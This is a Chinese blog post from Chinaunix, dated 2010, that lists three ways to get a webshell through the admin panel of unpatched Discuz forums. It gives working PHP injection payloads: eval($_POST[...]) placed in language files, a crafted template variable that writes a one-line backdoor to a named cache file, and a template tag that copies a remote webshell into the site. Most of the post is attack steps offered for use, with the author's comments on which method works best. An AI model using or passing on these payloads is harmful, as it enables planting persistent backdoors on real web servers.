Chinaunix首页 | 论坛 | 博客
  • 博客访问: 1182626
  • 博文数量: 273
  • 博客积分: 6445
  • 博客等级: 准将
  • 技术积分: 2843
  • 用 户 组: 普通用户
  • 注册时间: 2006-03-04 23:22
文章分类

全部博文(273)

文章存档

2024年(2)

2023年(5)

2022年(3)

2021年(18)

2020年(9)

2019年(1)

2018年(13)

2017年(11)

2015年(9)

2013年(2)

2012年(4)

2011年(24)

2010年(114)

2009年(6)

2008年(29)

2007年(13)

2006年(10)

我的朋友

分类: 系统运维

2010-07-15 10:50:47

discuz后台拿shell几种方法:前提是discuz没打补丁
==========================================
(1) discuz 6.x 此方法需要创始人账号:
如果后台可以在线编辑模板的话,下面的方法就可以拿SHELL了:

1.后台编辑 customfaq(customfaq.lang.php文件)
在eval($_POST[c]);
2.后台编辑 misc(misc.lang.php文件)
把post_reply_quote对应的内容改为
";eval($_POST[c]);"
在 前台回帖处选择引用回复。
==========================================
(2)discuz 7.0以下版本 此方法需要管理员权限账号:
以管理员身份进后台之后访问/admincp.php?action=styles&operation=edit&id=1&adv=1
然 后新增模板变量,变量的地方填XXX', '#999');eval($_POST[cmd]);//
替换内容随便输入:xxxx,然后提交,一 句话木马就产生了:
/forumdata/cache/style_1.php 这个1和模板id对应,模板id是几就是几
这个一句话密 码是大写的CMD  #beach注:此方法最好用
==========================================
(3) 目前通吃所有discuz版本。
1. 随便选一模板文件,选择编辑
2. 找一个空间上传一个webshell, 假定其地址为
3. 在任意位置输入:
{eval copy('', DISCUZ_ROOT.'./forumdata/shell.php');}
4. 保存, 刷新
5. 访问该模板所属的文件
6. 把模板恢复原样

大功告成, 访问/forumdata/shell.php便是马。#beach注:此方法我没用过
阅读(5884) | 评论(0) | 转发(0) |
0

上一篇:Secure Zen Cart

下一篇:PHP注入与防注入

给主人留下些什么吧!~~